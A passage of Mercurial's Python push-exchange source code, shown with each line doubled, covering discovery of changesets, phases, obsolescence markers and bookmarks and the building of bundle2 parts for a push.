480 wlock.release()
481
481
482 return pushop
482 return pushop
483
483
484 # list of steps to perform discovery before push
484 # list of steps to perform discovery before push
485 pushdiscoveryorder = []
485 pushdiscoveryorder = []
486
486
487 # Mapping between step name and function
487 # Mapping between step name and function
488 #
488 #
489 # This exists to help extensions wrap steps if necessary
489 # This exists to help extensions wrap steps if necessary
490 pushdiscoverymapping = {}
490 pushdiscoverymapping = {}
491
491
492 def pushdiscovery(stepname):
492 def pushdiscovery(stepname):
493 """decorator for function performing discovery before push
493 """decorator for function performing discovery before push
494
494
495 The function is added to the step -> function mapping and appended to the
495 The function is added to the step -> function mapping and appended to the
496 list of steps. Beware that decorated function will be added in order (this
496 list of steps. Beware that decorated function will be added in order (this
497 may matter).
497 may matter).
498
498
499 You can only use this decorator for a new step, if you want to wrap a step
499 You can only use this decorator for a new step, if you want to wrap a step
500 from an extension, change the pushdiscovery dictionary directly."""
500 from an extension, change the pushdiscovery dictionary directly."""
501 def dec(func):
501 def dec(func):
502 assert stepname not in pushdiscoverymapping
502 assert stepname not in pushdiscoverymapping
503 pushdiscoverymapping[stepname] = func
503 pushdiscoverymapping[stepname] = func
504 pushdiscoveryorder.append(stepname)
504 pushdiscoveryorder.append(stepname)
505 return func
505 return func
506 return dec
506 return dec
507
507
508 def _pushdiscovery(pushop):
508 def _pushdiscovery(pushop):
509 """Run all discovery steps"""
509 """Run all discovery steps"""
510 for stepname in pushdiscoveryorder:
510 for stepname in pushdiscoveryorder:
511 step = pushdiscoverymapping[stepname]
511 step = pushdiscoverymapping[stepname]
512 step(pushop)
512 step(pushop)
513
513
514 @pushdiscovery('changeset')
514 @pushdiscovery('changeset')
515 def _pushdiscoverychangeset(pushop):
515 def _pushdiscoverychangeset(pushop):
516 """discover the changeset that need to be pushed"""
516 """discover the changeset that need to be pushed"""
517 fci = discovery.findcommonincoming
517 fci = discovery.findcommonincoming
518 commoninc = fci(pushop.repo, pushop.remote, force=pushop.force)
518 commoninc = fci(pushop.repo, pushop.remote, force=pushop.force)
519 common, inc, remoteheads = commoninc
519 common, inc, remoteheads = commoninc
520 fco = discovery.findcommonoutgoing
520 fco = discovery.findcommonoutgoing
521 outgoing = fco(pushop.repo, pushop.remote, onlyheads=pushop.revs,
521 outgoing = fco(pushop.repo, pushop.remote, onlyheads=pushop.revs,
522 commoninc=commoninc, force=pushop.force)
522 commoninc=commoninc, force=pushop.force)
523 pushop.outgoing = outgoing
523 pushop.outgoing = outgoing
524 pushop.remoteheads = remoteheads
524 pushop.remoteheads = remoteheads
525 pushop.incoming = inc
525 pushop.incoming = inc
526
526
527 @pushdiscovery('phase')
527 @pushdiscovery('phase')
528 def _pushdiscoveryphase(pushop):
528 def _pushdiscoveryphase(pushop):
529 """discover the phase that needs to be pushed
529 """discover the phase that needs to be pushed
530
530
531 (computed for both success and failure case for changesets push)"""
531 (computed for both success and failure case for changesets push)"""
532 outgoing = pushop.outgoing
532 outgoing = pushop.outgoing
533 unfi = pushop.repo.unfiltered()
533 unfi = pushop.repo.unfiltered()
534 remotephases = pushop.remote.listkeys('phases')
534 remotephases = pushop.remote.listkeys('phases')
535 publishing = remotephases.get('publishing', False)
535 publishing = remotephases.get('publishing', False)
536 if (pushop.ui.configbool('ui', '_usedassubrepo')
536 if (pushop.ui.configbool('ui', '_usedassubrepo')
537 and remotephases # server supports phases
537 and remotephases # server supports phases
538 and not pushop.outgoing.missing # no changesets to be pushed
538 and not pushop.outgoing.missing # no changesets to be pushed
539 and publishing):
539 and publishing):
540 # When:
540 # When:
541 # - this is a subrepo push
541 # - this is a subrepo push
542 # - and remote support phase
542 # - and remote support phase
543 # - and no changeset are to be pushed
543 # - and no changeset are to be pushed
544 # - and remote is publishing
544 # - and remote is publishing
545 # We may be in issue 3871 case!
545 # We may be in issue 3871 case!
546 # We drop the possible phase synchronisation done by
546 # We drop the possible phase synchronisation done by
547 # courtesy to publish changesets possibly locally draft
547 # courtesy to publish changesets possibly locally draft
548 # on the remote.
548 # on the remote.
549 remotephases = {'publishing': 'True'}
549 remotephases = {'publishing': 'True'}
550 ana = phases.analyzeremotephases(pushop.repo,
550 ana = phases.analyzeremotephases(pushop.repo,
551 pushop.fallbackheads,
551 pushop.fallbackheads,
552 remotephases)
552 remotephases)
553 pheads, droots = ana
553 pheads, droots = ana
554 extracond = ''
554 extracond = ''
555 if not publishing:
555 if not publishing:
556 extracond = ' and public()'
556 extracond = ' and public()'
557 revset = 'heads((%%ln::%%ln) %s)' % extracond
557 revset = 'heads((%%ln::%%ln) %s)' % extracond
558 # Get the list of all revs draft on remote by public here.
558 # Get the list of all revs draft on remote by public here.
559 # XXX Beware that revset break if droots is not strictly
559 # XXX Beware that revset break if droots is not strictly
560 # XXX root we may want to ensure it is but it is costly
560 # XXX root we may want to ensure it is but it is costly
561 fallback = list(unfi.set(revset, droots, pushop.fallbackheads))
561 fallback = list(unfi.set(revset, droots, pushop.fallbackheads))
562 if not outgoing.missing:
562 if not outgoing.missing:
563 future = fallback
563 future = fallback
564 else:
564 else:
565 # adds changeset we are going to push as draft
565 # adds changeset we are going to push as draft
566 #
566 #
567 # should not be necessary for publishing server, but because of an
567 # should not be necessary for publishing server, but because of an
568 # issue fixed in xxxxx we have to do it anyway.
568 # issue fixed in xxxxx we have to do it anyway.
569 fdroots = list(unfi.set('roots(%ln + %ln::)',
569 fdroots = list(unfi.set('roots(%ln + %ln::)',
570 outgoing.missing, droots))
570 outgoing.missing, droots))
571 fdroots = [f.node() for f in fdroots]
571 fdroots = [f.node() for f in fdroots]
572 future = list(unfi.set(revset, fdroots, pushop.futureheads))
572 future = list(unfi.set(revset, fdroots, pushop.futureheads))
573 pushop.outdatedphases = future
573 pushop.outdatedphases = future
574 pushop.fallbackoutdatedphases = fallback
574 pushop.fallbackoutdatedphases = fallback
575
575
576 @pushdiscovery('obsmarker')
576 @pushdiscovery('obsmarker')
577 def _pushdiscoveryobsmarkers(pushop):
577 def _pushdiscoveryobsmarkers(pushop):
578 if (obsolete.isenabled(pushop.repo, obsolete.exchangeopt)
578 if (obsolete.isenabled(pushop.repo, obsolete.exchangeopt)
579 and pushop.repo.obsstore
579 and pushop.repo.obsstore
580 and 'obsolete' in pushop.remote.listkeys('namespaces')):
580 and 'obsolete' in pushop.remote.listkeys('namespaces')):
581 repo = pushop.repo
581 repo = pushop.repo
582 # very naive computation, that can be quite expensive on big repo.
582 # very naive computation, that can be quite expensive on big repo.
583 # However: evolution is currently slow on them anyway.
583 # However: evolution is currently slow on them anyway.
584 nodes = (c.node() for c in repo.set('::%ln', pushop.futureheads))
584 nodes = (c.node() for c in repo.set('::%ln', pushop.futureheads))
585 pushop.outobsmarkers = pushop.repo.obsstore.relevantmarkers(nodes)
585 pushop.outobsmarkers = pushop.repo.obsstore.relevantmarkers(nodes)
586
586
587 @pushdiscovery('bookmarks')
587 @pushdiscovery('bookmarks')
588 def _pushdiscoverybookmarks(pushop):
588 def _pushdiscoverybookmarks(pushop):
589 ui = pushop.ui
589 ui = pushop.ui
590 repo = pushop.repo.unfiltered()
590 repo = pushop.repo.unfiltered()
591 remote = pushop.remote
591 remote = pushop.remote
592 ui.debug("checking for updated bookmarks\n")
592 ui.debug("checking for updated bookmarks\n")
593 ancestors = ()
593 ancestors = ()
594 if pushop.revs:
594 if pushop.revs:
595 revnums = map(repo.changelog.rev, pushop.revs)
595 revnums = map(repo.changelog.rev, pushop.revs)
596 ancestors = repo.changelog.ancestors(revnums, inclusive=True)
596 ancestors = repo.changelog.ancestors(revnums, inclusive=True)
597 remotebookmark = remote.listkeys('bookmarks')
597 remotebookmark = remote.listkeys('bookmarks')
598
598
599 explicit = set([repo._bookmarks.expandname(bookmark)
599 explicit = set([repo._bookmarks.expandname(bookmark)
600 for bookmark in pushop.bookmarks])
600 for bookmark in pushop.bookmarks])
601
601
602 remotebookmark = bookmod.unhexlifybookmarks(remotebookmark)
602 remotebookmark = bookmod.unhexlifybookmarks(remotebookmark)
603 comp = bookmod.comparebookmarks(repo, repo._bookmarks, remotebookmark)
603 comp = bookmod.comparebookmarks(repo, repo._bookmarks, remotebookmark)
604
604
605 def safehex(x):
605 def safehex(x):
606 if x is None:
606 if x is None:
607 return x
607 return x
608 return hex(x)
608 return hex(x)
609
609
610 def hexifycompbookmarks(bookmarks):
610 def hexifycompbookmarks(bookmarks):
611 for b, scid, dcid in bookmarks:
611 for b, scid, dcid in bookmarks:
612 yield b, safehex(scid), safehex(dcid)
612 yield b, safehex(scid), safehex(dcid)
613
613
614 comp = [hexifycompbookmarks(marks) for marks in comp]
614 comp = [hexifycompbookmarks(marks) for marks in comp]
615 addsrc, adddst, advsrc, advdst, diverge, differ, invalid, same = comp
615 addsrc, adddst, advsrc, advdst, diverge, differ, invalid, same = comp
616
616
617 for b, scid, dcid in advsrc:
617 for b, scid, dcid in advsrc:
618 if b in explicit:
618 if b in explicit:
619 explicit.remove(b)
619 explicit.remove(b)
620 if not ancestors or repo[scid].rev() in ancestors:
620 if not ancestors or repo[scid].rev() in ancestors:
621 pushop.outbookmarks.append((b, dcid, scid))
621 pushop.outbookmarks.append((b, dcid, scid))
622 # search added bookmark
622 # search added bookmark
623 for b, scid, dcid in addsrc:
623 for b, scid, dcid in addsrc:
624 if b in explicit:
624 if b in explicit:
625 explicit.remove(b)
625 explicit.remove(b)
626 pushop.outbookmarks.append((b, '', scid))
626 pushop.outbookmarks.append((b, '', scid))
627 # search for overwritten bookmark
627 # search for overwritten bookmark
628 for b, scid, dcid in list(advdst) + list(diverge) + list(differ):
628 for b, scid, dcid in list(advdst) + list(diverge) + list(differ):
629 if b in explicit:
629 if b in explicit:
630 explicit.remove(b)
630 explicit.remove(b)
631 pushop.outbookmarks.append((b, dcid, scid))
631 pushop.outbookmarks.append((b, dcid, scid))
632 # search for bookmark to delete
632 # search for bookmark to delete
633 for b, scid, dcid in adddst:
633 for b, scid, dcid in adddst:
634 if b in explicit:
634 if b in explicit:
635 explicit.remove(b)
635 explicit.remove(b)
636 # treat as "deleted locally"
636 # treat as "deleted locally"
637 pushop.outbookmarks.append((b, dcid, ''))
637 pushop.outbookmarks.append((b, dcid, ''))
638 # identical bookmarks shouldn't get reported
638 # identical bookmarks shouldn't get reported
639 for b, scid, dcid in same:
639 for b, scid, dcid in same:
640 if b in explicit:
640 if b in explicit:
641 explicit.remove(b)
641 explicit.remove(b)
642
642
643 if explicit:
643 if explicit:
644 explicit = sorted(explicit)
644 explicit = sorted(explicit)
645 # we should probably list all of them
645 # we should probably list all of them
646 ui.warn(_('bookmark %s does not exist on the local '
646 ui.warn(_('bookmark %s does not exist on the local '
647 'or remote repository!\n') % explicit[0])
647 'or remote repository!\n') % explicit[0])
648 pushop.bkresult = 2
648 pushop.bkresult = 2
649
649
650 pushop.outbookmarks.sort()
650 pushop.outbookmarks.sort()
651
651
652 def _pushcheckoutgoing(pushop):
652 def _pushcheckoutgoing(pushop):
653 outgoing = pushop.outgoing
653 outgoing = pushop.outgoing
654 unfi = pushop.repo.unfiltered()
654 unfi = pushop.repo.unfiltered()
655 if not outgoing.missing:
655 if not outgoing.missing:
656 # nothing to push
656 # nothing to push
657 scmutil.nochangesfound(unfi.ui, unfi, outgoing.excluded)
657 scmutil.nochangesfound(unfi.ui, unfi, outgoing.excluded)
658 return False
658 return False
659 # something to push
659 # something to push
660 if not pushop.force:
660 if not pushop.force:
661 # if repo.obsstore == False --> no obsolete
661 # if repo.obsstore == False --> no obsolete
662 # then, save the iteration
662 # then, save the iteration
663 if unfi.obsstore:
663 if unfi.obsstore:
664 # this message are here for 80 char limit reason
664 # this message are here for 80 char limit reason
665 mso = _("push includes obsolete changeset: %s!")
665 mso = _("push includes obsolete changeset: %s!")
666 mspd = _("push includes phase-divergent changeset: %s!")
666 mspd = _("push includes phase-divergent changeset: %s!")
667 mscd = _("push includes content-divergent changeset: %s!")
667 mscd = _("push includes content-divergent changeset: %s!")
668 mst = {"orphan": _("push includes orphan changeset: %s!"),
668 mst = {"orphan": _("push includes orphan changeset: %s!"),
669 "phase-divergent": mspd,
669 "phase-divergent": mspd,
670 "content-divergent": mscd}
670 "content-divergent": mscd}
671 # If we are to push if there is at least one
671 # If we are to push if there is at least one
672 # obsolete or unstable changeset in missing, at
672 # obsolete or unstable changeset in missing, at
673 # least one of the missinghead will be obsolete or
673 # least one of the missinghead will be obsolete or
674 # unstable. So checking heads only is ok
674 # unstable. So checking heads only is ok
675 for node in outgoing.missingheads:
675 for node in outgoing.missingheads:
676 ctx = unfi[node]
676 ctx = unfi[node]
677 if ctx.obsolete():
677 if ctx.obsolete():
678 raise error.Abort(mso % ctx)
678 raise error.Abort(mso % ctx)
679 elif ctx.isunstable():
679 elif ctx.isunstable():
680 # TODO print more than one instability in the abort
680 # TODO print more than one instability in the abort
681 # message
681 # message
682 raise error.Abort(mst[ctx.instabilities()[0]] % ctx)
682 raise error.Abort(mst[ctx.instabilities()[0]] % ctx)
683
683
684 discovery.checkheads(pushop)
684 discovery.checkheads(pushop)
685 return True
685 return True
686
686
687 # List of names of steps to perform for an outgoing bundle2, order matters.
687 # List of names of steps to perform for an outgoing bundle2, order matters.
688 b2partsgenorder = []
688 b2partsgenorder = []
689
689
690 # Mapping between step name and function
690 # Mapping between step name and function
691 #
691 #
692 # This exists to help extensions wrap steps if necessary
692 # This exists to help extensions wrap steps if necessary
693 b2partsgenmapping = {}
693 b2partsgenmapping = {}
694
694
695 def b2partsgenerator(stepname, idx=None):
695 def b2partsgenerator(stepname, idx=None):
696 """decorator for function generating bundle2 part
696 """decorator for function generating bundle2 part
697
697
698 The function is added to the step -> function mapping and appended to the
698 The function is added to the step -> function mapping and appended to the
699 list of steps. Beware that decorated functions will be added in order
699 list of steps. Beware that decorated functions will be added in order
700 (this may matter).
700 (this may matter).
701
701
702 You can only use this decorator for new steps, if you want to wrap a step
702 You can only use this decorator for new steps, if you want to wrap a step
703 from an extension, attack the b2partsgenmapping dictionary directly."""
703 from an extension, attack the b2partsgenmapping dictionary directly."""
704 def dec(func):
704 def dec(func):
705 assert stepname not in b2partsgenmapping
705 assert stepname not in b2partsgenmapping
706 b2partsgenmapping[stepname] = func
706 b2partsgenmapping[stepname] = func
707 if idx is None:
707 if idx is None:
708 b2partsgenorder.append(stepname)
708 b2partsgenorder.append(stepname)
709 else:
709 else:
710 b2partsgenorder.insert(idx, stepname)
710 b2partsgenorder.insert(idx, stepname)
711 return func
711 return func
712 return dec
712 return dec
713
713
714 def _pushb2ctxcheckheads(pushop, bundler):
714 def _pushb2ctxcheckheads(pushop, bundler):
715 """Generate race condition checking parts
715 """Generate race condition checking parts
716
716
717 Exists as an independent function to aid extensions
717 Exists as an independent function to aid extensions
718 """
718 """
719 # * 'force' do not check for push race,
719 # * 'force' do not check for push race,
720 # * if we don't push anything, there are nothing to check.
720 # * if we don't push anything, there are nothing to check.
721 if not pushop.force and pushop.outgoing.missingheads:
721 if not pushop.force and pushop.outgoing.missingheads:
722 allowunrelated = 'related' in bundler.capabilities.get('checkheads', ())
722 allowunrelated = 'related' in bundler.capabilities.get('checkheads', ())
723 emptyremote = pushop.pushbranchmap is None
723 emptyremote = pushop.pushbranchmap is None
724 if not allowunrelated or emptyremote:
724 if not allowunrelated or emptyremote:
725 bundler.newpart('check:heads', data=iter(pushop.remoteheads))
725 bundler.newpart('check:heads', data=iter(pushop.remoteheads))
726 else:
726 else:
727 affected = set()
727 affected = set()
728 for branch, heads in pushop.pushbranchmap.iteritems():
728 for branch, heads in pushop.pushbranchmap.iteritems():
729 remoteheads, newheads, unsyncedheads, discardedheads = heads
729 remoteheads, newheads, unsyncedheads, discardedheads = heads
730 if remoteheads is not None:
730 if remoteheads is not None:
731 remote = set(remoteheads)
731 remote = set(remoteheads)
732 affected |= set(discardedheads) & remote
732 affected |= set(discardedheads) & remote
733 affected |= remote - set(newheads)
733 affected |= remote - set(newheads)
734 if affected:
734 if affected:
735 data = iter(sorted(affected))
735 data = iter(sorted(affected))
736 bundler.newpart('check:updated-heads', data=data)
736 bundler.newpart('check:updated-heads', data=data)
737
737
738 @b2partsgenerator('changeset')
738 @b2partsgenerator('changeset')
739 def _pushb2ctx(pushop, bundler):
739 def _pushb2ctx(pushop, bundler):
740 """handle changegroup push through bundle2
740 """handle changegroup push through bundle2
741
741
742 addchangegroup result is stored in the ``pushop.cgresult`` attribute.
742 addchangegroup result is stored in the ``pushop.cgresult`` attribute.
743 """
743 """
744 if 'changesets' in pushop.stepsdone:
744 if 'changesets' in pushop.stepsdone:
745 return
745 return
746 pushop.stepsdone.add('changesets')
746 pushop.stepsdone.add('changesets')
747 # Send known heads to the server for race detection.
747 # Send known heads to the server for race detection.
748 if not _pushcheckoutgoing(pushop):
748 if not _pushcheckoutgoing(pushop):
749 return
749 return
750 pushop.repo.prepushoutgoinghooks(pushop)
750 pushop.repo.prepushoutgoinghooks(pushop)
751
751
752 _pushb2ctxcheckheads(pushop, bundler)
752 _pushb2ctxcheckheads(pushop, bundler)
753
753
754 b2caps = bundle2.bundle2caps(pushop.remote)
754 b2caps = bundle2.bundle2caps(pushop.remote)
755 version = '01'
755 version = '01'
756 cgversions = b2caps.get('changegroup')
756 cgversions = b2caps.get('changegroup')
757 if cgversions: # 3.1 and 3.2 ship with an empty value
757 if cgversions: # 3.1 and 3.2 ship with an empty value
758 cgversions = [v for v in cgversions
758 cgversions = [v for v in cgversions
759 if v in changegroup.supportedoutgoingversions(
759 if v in changegroup.supportedoutgoingversions(
760 pushop.repo)]
760 pushop.repo)]
761 if not cgversions:
761 if not cgversions:
762 raise ValueError(_('no common changegroup version'))
762 raise ValueError(_('no common changegroup version'))
763 version = max(cgversions)
763 version = max(cgversions)
764 cg = changegroup.getlocalchangegroupraw(pushop.repo, 'push',
764 cg = changegroup.getlocalchangegroupraw(pushop.repo, 'push',
765 pushop.outgoing,
765 pushop.outgoing,
766 version=version)
766 version=version)
767 cgpart = bundler.newpart('changegroup', data=cg)
767 cgpart = bundler.newpart('changegroup', data=cg)
768 if cgversions:
768 if cgversions:
769 cgpart.addparam('version', version)
769 cgpart.addparam('version', version)
770 if 'treemanifest' in pushop.repo.requirements:
770 if 'treemanifest' in pushop.repo.requirements:
771 cgpart.addparam('treemanifest', '1')
771 cgpart.addparam('treemanifest', '1')
772 def handlereply(op):
772 def handlereply(op):
773 """extract addchangegroup returns from server reply"""
773 """extract addchangegroup returns from server reply"""
774 cgreplies = op.records.getreplies(cgpart.id)
774 cgreplies = op.records.getreplies(cgpart.id)
775 assert len(cgreplies['changegroup']) == 1
775 assert len(cgreplies['changegroup']) == 1
776 pushop.cgresult = cgreplies['changegroup'][0]['return']
776 pushop.cgresult = cgreplies['changegroup'][0]['return']
777 return handlereply
777 return handlereply
778
778
779 @b2partsgenerator('phase')
779 @b2partsgenerator('phase')
780 def _pushb2phases(pushop, bundler):
780 def _pushb2phases(pushop, bundler):
781 """handle phase push through bundle2"""
781 """handle phase push through bundle2"""
782 if 'phases' in pushop.stepsdone:
782 if 'phases' in pushop.stepsdone:
783 return
783 return
784 b2caps = bundle2.bundle2caps(pushop.remote)
784 b2caps = bundle2.bundle2caps(pushop.remote)
785 if not 'pushkey' in b2caps:
785 if not 'pushkey' in b2caps:
786 return
786 return
787 pushop.stepsdone.add('phases')
787 pushop.stepsdone.add('phases')
788 part2node = []
788 part2node = []
789
789
790 def handlefailure(pushop, exc):
790 def handlefailure(pushop, exc):
791 targetid = int(exc.partid)
791 targetid = int(exc.partid)
792 for partid, node in part2node:
792 for partid, node in part2node:
793 if partid == targetid:
793 if partid == targetid:
794 raise error.Abort(_('updating %s to public failed') % node)
794 raise error.Abort(_('updating %s to public failed') % node)
795
795
796 enc = pushkey.encode
796 enc = pushkey.encode
797 for newremotehead in pushop.outdatedphases:
797 for newremotehead in pushop.outdatedphases:
798 part = bundler.newpart('pushkey')
798 part = bundler.newpart('pushkey')
799 part.addparam('namespace', enc('phases'))
799 part.addparam('namespace', enc('phases'))
800 part.addparam('key', enc(newremotehead.hex()))
800 part.addparam('key', enc(newremotehead.hex()))
801 part.addparam('old', enc(str(phases.draft)))
801 part.addparam('old', enc(str(phases.draft)))
802 part.addparam('new', enc(str(phases.public)))
802 part.addparam('new', enc(str(phases.public)))
803 part2node.append((part.id, newremotehead))
803 part2node.append((part.id, newremotehead))
804 pushop.pkfailcb[part.id] = handlefailure
804 pushop.pkfailcb[part.id] = handlefailure
805
805
806 def handlereply(op):
806 def handlereply(op):
807 for partid, node in part2node:
807 for partid, node in part2node:
808 partrep = op.records.getreplies(partid)
808 partrep = op.records.getreplies(partid)
809 results = partrep['pushkey']
809 results = partrep['pushkey']
810 assert len(results) <= 1
810 assert len(results) <= 1
811 msg = None
811 msg = None
812 if not results:
812 if not results:
813 msg = _('server ignored update of %s to public!\n') % node
813 msg = _('server ignored update of %s to public!\n') % node
814 elif not int(results[0]['return']):
814 elif not int(results[0]['return']):
815 msg = _('updating %s to public failed!\n') % node
815 msg = _('updating %s to public failed!\n') % node
816 if msg is not None:
816 if msg is not None:
817 pushop.ui.warn(msg)
817 pushop.ui.warn(msg)
818 return handlereply
818 return handlereply
819
819
820 @b2partsgenerator('obsmarkers')
820 @b2partsgenerator('obsmarkers')
821 def _pushb2obsmarkers(pushop, bundler):
821 def _pushb2obsmarkers(pushop, bundler):
822 if 'obsmarkers' in pushop.stepsdone:
822 if 'obsmarkers' in pushop.stepsdone:
823 return
823 return
824 remoteversions = bundle2.obsmarkersversion(bundler.capabilities)
824 remoteversions = bundle2.obsmarkersversion(bundler.capabilities)
825 if obsolete.commonversion(remoteversions) is None:
825 if obsolete.commonversion(remoteversions) is None:
826 return
826 return
827 pushop.stepsdone.add('obsmarkers')
827 pushop.stepsdone.add('obsmarkers')
828 if pushop.outobsmarkers:
828 if pushop.outobsmarkers:
829 markers = sorted(pushop.outobsmarkers)
829 markers = sorted(pushop.outobsmarkers)
830 bundle2.buildobsmarkerspart(bundler, markers)
830 bundle2.buildobsmarkerspart(bundler, markers)
831
831
832 @b2partsgenerator('bookmarks')
832 @b2partsgenerator('bookmarks')
833 def _pushb2bookmarks(pushop, bundler):
833 def _pushb2bookmarks(pushop, bundler):
834 """handle bookmark push through bundle2"""
834 """handle bookmark push through bundle2"""
835 if 'bookmarks' in pushop.stepsdone:
835 if 'bookmarks' in pushop.stepsdone:
836 return
836 return
837 b2caps = bundle2.bundle2caps(pushop.remote)
837 b2caps = bundle2.bundle2caps(pushop.remote)
838 if 'pushkey' not in b2caps:
838 if 'pushkey' not in b2caps:
839 return
839 return
840 pushop.stepsdone.add('bookmarks')
840 pushop.stepsdone.add('bookmarks')
841 part2book = []
841 part2book = []
842 enc = pushkey.encode
842 enc = pushkey.encode
843
843
844 def handlefailure(pushop, exc):
844 def handlefailure(pushop, exc):
845 targetid = int(exc.partid)
845 targetid = int(exc.partid)
846 for partid, book, action in part2book:
846 for partid, book, action in part2book:
847 if partid == targetid:
847 if partid == targetid:
848 raise error.Abort(bookmsgmap[action][1].rstrip() % book)
848 raise error.Abort(bookmsgmap[action][1].rstrip() % book)
849 # we should not be called for part we did not generated
849 # we should not be called for part we did not generated
850 assert False
850 assert False
851
851
852 for book, old, new in pushop.outbookmarks:
852 for book, old, new in pushop.outbookmarks:
853 part = bundler.newpart('pushkey')
853 part = bundler.newpart('pushkey')
854 part.addparam('namespace', enc('bookmarks'))
854 part.addparam('namespace', enc('bookmarks'))
855 part.addparam('key', enc(book))
855 part.addparam('key', enc(book))
856 part.addparam('old', enc(old))
856 part.addparam('old', enc(old))
857 part.addparam('new', enc(new))
857 part.addparam('new', enc(new))
858 action = 'update'
858 action = 'update'
859 if not old:
859 if not old:
860 action = 'export'
860 action = 'export'
861 elif not new:
861 elif not new:
862 action = 'delete'
862 action = 'delete'
863 part2book.append((part.id, book, action))
863 part2book.append((part.id, book, action))
864 pushop.pkfailcb[part.id] = handlefailure
864 pushop.pkfailcb[part.id] = handlefailure
865
865
866 def handlereply(op):
866 def handlereply(op):
867 ui = pushop.ui
867 ui = pushop.ui
868 for partid, book, action in part2book:
868 for partid, book, action in part2book:
869 partrep = op.records.getreplies(partid)
869 partrep = op.records.getreplies(partid)
870 results = partrep['pushkey']
870 results = partrep['pushkey']
871 assert len(results) <= 1
871 assert len(results) <= 1
872 if not results:
872 if not results:
873 pushop.ui.warn(_('server ignored bookmark %s update\n') % book)
873 pushop.ui.warn(_('server ignored bookmark %s update\n') % book)
874 else:
874 else:
875 ret = int(results[0]['return'])
875 ret = int(results[0]['return'])
876 if ret:
876 if ret:
877 ui.status(bookmsgmap[action][0] % book)
877 ui.status(bookmsgmap[action][0] % book)
878 else:
878 else:
879 ui.warn(bookmsgmap[action][1] % book)
879 ui.warn(bookmsgmap[action][1] % book)
880 if pushop.bkresult is not None:
880 if pushop.bkresult is not None:
881 pushop.bkresult = 1
881 pushop.bkresult = 1
882 return handlereply
882 return handlereply
883
883
884 @b2partsgenerator('pushvars', idx=0)
884 @b2partsgenerator('pushvars', idx=0)
885 def _getbundlesendvars(pushop, bundler):
885 def _getbundlesendvars(pushop, bundler):
886 '''send shellvars via bundle2'''
886 '''send shellvars via bundle2'''
887 if getattr(pushop.repo, '_shellvars', ()):
887 if getattr(pushop.repo, '_shellvars', ()):
888 part = bundler.newpart('pushvars')
888 part = bundler.newpart('pushvars')
889
889
890 for key, value in pushop.repo._shellvars.iteritems():
890 for key, value in pushop.repo._shellvars.iteritems():
891 part.addparam(key, value, mandatory=False)
891 part.addparam(key, value, mandatory=False)
892
892
893 def _pushbundle2(pushop):
893 def _pushbundle2(pushop):
894 """push data to the remote using bundle2
894 """push data to the remote using bundle2
895
895
896 The only currently supported type of data is changegroup but this will
896 The only currently supported type of data is changegroup but this will
897 evolve in the future."""
897 evolve in the future."""
898 bundler = bundle2.bundle20(pushop.ui, bundle2.bundle2caps(pushop.remote))
898 bundler = bundle2.bundle20(pushop.ui, bundle2.bundle2caps(pushop.remote))
899 pushback = (pushop.trmanager
899 pushback = (pushop.trmanager
900 and pushop.ui.configbool('experimental', 'bundle2.pushback'))
900 and pushop.ui.configbool('experimental', 'bundle2.pushback'))
901
901
902 # create reply capability
902 # create reply capability
903 capsblob = bundle2.encodecaps(bundle2.getrepocaps(pushop.repo,
903 capsblob = bundle2.encodecaps(bundle2.getrepocaps(pushop.repo,
904 allowpushback=pushback))
904 allowpushback=pushback))
905 bundler.newpart('replycaps', data=capsblob)
905 bundler.newpart('replycaps', data=capsblob)
906 replyhandlers = []
906 replyhandlers = []
907 for partgenname in b2partsgenorder:
907 for partgenname in b2partsgenorder:
908 partgen = b2partsgenmapping[partgenname]
908 partgen = b2partsgenmapping[partgenname]
909 ret = partgen(pushop, bundler)
909 ret = partgen(pushop, bundler)
910 if callable(ret):
910 if callable(ret):
911 replyhandlers.append(ret)
911 replyhandlers.append(ret)
912 # do not push if nothing to push
912 # do not push if nothing to push
913 if bundler.nbparts <= 1:
913 if bundler.nbparts <= 1:
914 return
914 return
915 stream = util.chunkbuffer(bundler.getchunks())
915 stream = util.chunkbuffer(bundler.getchunks())
916 try:
916 try:
917 try:
917 try:
918 reply = pushop.remote.unbundle(
918 reply = pushop.remote.unbundle(
919 stream, ['force'], pushop.remote.url())
919 stream, ['force'], pushop.remote.url())
920 except error.BundleValueError as exc:
920 except error.BundleValueError as exc:
921 raise error.Abort(_('missing support for %s') % exc)
921 raise error.Abort(_('missing support for %s') % exc)
922 try:
922 try:
923 trgetter = None
923 trgetter = None
924 if pushback:
924 if pushback:
925 trgetter = pushop.trmanager.transaction
925 trgetter = pushop.trmanager.transaction
926 op = bundle2.processbundle(pushop.repo, reply, trgetter)
926 op = bundle2.processbundle(pushop.repo, reply, trgetter)
927 except error.BundleValueError as exc:
927 except error.BundleValueError as exc:
928 raise error.Abort(_('missing support for %s') % exc)
928 raise error.Abort(_('missing support for %s') % exc)
929 except bundle2.AbortFromPart as exc:
929 except bundle2.AbortFromPart as exc:
930 pushop.ui.status(_('remote: %s\n') % exc)
930 pushop.ui.status(_('remote: %s\n') % exc)
931 if exc.hint is not None:
931 if exc.hint is not None:
932 pushop.ui.status(_('remote: %s\n') % ('(%s)' % exc.hint))
932 pushop.ui.status(_('remote: %s\n') % ('(%s)' % exc.hint))
933 raise error.Abort(_('push failed on remote'))
933 raise error.Abort(_('push failed on remote'))
934 except error.PushkeyFailed as exc:
934 except error.PushkeyFailed as exc:
935 partid = int(exc.partid)
935 partid = int(exc.partid)
936 if partid not in pushop.pkfailcb:
936 if partid not in pushop.pkfailcb:
937 raise
937 raise
938 pushop.pkfailcb[partid](pushop, exc)
938 pushop.pkfailcb[partid](pushop, exc)
939 for rephand in replyhandlers:
939 for rephand in replyhandlers:
940 rephand(op)
940 rephand(op)
941
941
942 def _pushchangeset(pushop):
942 def _pushchangeset(pushop):
943 """Make the actual push of changeset bundle to remote repo"""
943 """Make the actual push of changeset bundle to remote repo"""
944 if 'changesets' in pushop.stepsdone:
944 if 'changesets' in pushop.stepsdone:
945 return
945 return
946 pushop.stepsdone.add('changesets')
946 pushop.stepsdone.add('changesets')
947 if not _pushcheckoutgoing(pushop):
947 if not _pushcheckoutgoing(pushop):
948 return
948 return
949
949
950 # Should have verified this in push().
950 # Should have verified this in push().
951 assert pushop.remote.capable('unbundle')
951 assert pushop.remote.capable('unbundle')
952
952
953 pushop.repo.prepushoutgoinghooks(pushop)
953 pushop.repo.prepushoutgoinghooks(pushop)
954 outgoing = pushop.outgoing
954 outgoing = pushop.outgoing
955 # TODO: get bundlecaps from remote
955 # TODO: get bundlecaps from remote
956 bundlecaps = None
956 bundlecaps = None
957 # create a changegroup from local
957 # create a changegroup from local
958 if pushop.revs is None and not (outgoing.excluded
